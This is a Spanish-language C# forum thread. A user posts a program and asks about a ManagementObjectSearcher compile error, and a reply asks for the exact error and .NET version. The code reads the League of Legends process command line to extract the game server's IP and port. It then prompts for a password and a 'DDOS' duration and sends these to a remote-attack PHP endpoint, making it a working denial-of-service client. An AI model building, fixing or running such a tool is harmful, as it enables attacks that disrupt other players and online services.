[ Foro de C# ]

problema con codigo: ManagementObjectSearcher

using System;
using System.Collections.Generic;
using System.Management;
using System.Management.Instrumentation;
using System.Net;
using System.Text.RegularExpressions;
 
namespace League_IP
{
    internal class Lolip
    {
 
        private static void Main(string[] args)
        {
            Lolip ip1 = new Lolip();
            List<string> result = ip1.wmi_process();  
            int time = -1;
            if (result.Count >= 1)
            {
                Console.WriteLine("IP: " + result[0]);
                Console.WriteLine("Port: " + result[1]);
                string password = ip1.Menu();
                Console.WriteLine("Insert time of DDOS max 1200 sec");
                string time_input = Console.ReadLine();
                try
                {
                    time = Convert.ToInt32(time_input);
                }
                catch (FormatException e)
                {
                    Console.WriteLine("Input string is not a sequence of digits.");
                }
                catch (OverflowException e)
                {
                    Console.WriteLine("The number cannot fit in an Int32.");
                }
                finally
                {
                    if (time > 1200) time = 1200;
 
                }
                ip1.HTTPGet(result[0], result[1], password, time);
            }
 
        }
 
        private string Menu()
        {
 
            Console.WriteLine(" Insert your passwrord");
            string password = Console.ReadLine();
            password = password.Trim();
            string command = "";
            do
            {
                Console.WriteLine("Write ddos to start");
                command = Console.ReadLine();
                command = command.Trim();
            } while (command != "ddos");
           
            return password;
        }
 
 
        private List<string> wmi_process()
        {
            string result = "";
            List<string> iport = new List<string>();
            try
            {
                ManagementObjectSearcher searcher =
                    new ManagementObjectSearcher("root\\CIMV2",
                    "SELECT * FROM Win32_Process WHERE Caption = 'League of Legends.exe'");
 
                foreach (ManagementObject queryObj in searcher.Get())
                {
                    Object out_query = queryObj["CommandLine"];
                    result = out_query.ToString();
                }
            }
            catch (ManagementException e)
            {
                Console.WriteLine("An error occurred while querying for WMI data: " + e.Message);
            }
            if (result.Length <= 1) return iport;
 
            string pattern = "\"";
 
            IList<int> indeces = new List<int>();
 
            foreach (Match match in Regex.Matches(result, pattern))
            {
                indeces.Add(match.Index);
            }
 
 
            int pos_split = indeces[indeces.Count - 2];
            string split = result.Substring(pos_split + 1);
            string ip_final = split.Substring(0, split.IndexOf(' ') + 1);
            string port = split.Substring(ip_final.Length, 4);
 
            ip_final = ip_final.Trim();
            port = port.Trim();
            iport.Add(ip_final);
            iport.Add(port);
 
            return iport;
        }
 
 
        private void HTTPGet(string target_ip, string port, string password, int time)
        {
 
            Console.WriteLine("Attack sent to target: " + target_ip + " on port " + port);
            string str_time = Convert.ToString(time);
            string address = string.Format(
           "127.0.0.1/ssh_remote.php?ip={0}&port={1}&password={2}&time={3}",
            Uri.EscapeDataString(target_ip),
            Uri.EscapeDataString(port),
            Uri.EscapeDataString(password),
            Uri.EscapeDataString(str_time));
            string text;
            using (WebClient client = new WebClient())
            {
                text = client.DownloadString(address);
            }
            Console.WriteLine(text);
            Console.ReadLine();
 
        }
    }
}

cuando quiero compilar el visual vasic me da error en ManagementObjectSearcher , y en los tres objetos me los marca como error .

Supongo que te refieres a Visual Studio y no a Visual Basic, porque es un programa en C#, no en Basic, de modo que si compilas con Visual Basic deberías tener errores mucho antes de esa línea.

En cualquier caso, ayudaría saber qué error exacto obtienes y qué versión de la plataforma .Net empleas, porque la clase "ManagementObjectSearcher" existe desde .Net versión 2, y a mí el programa me compila perfectamente.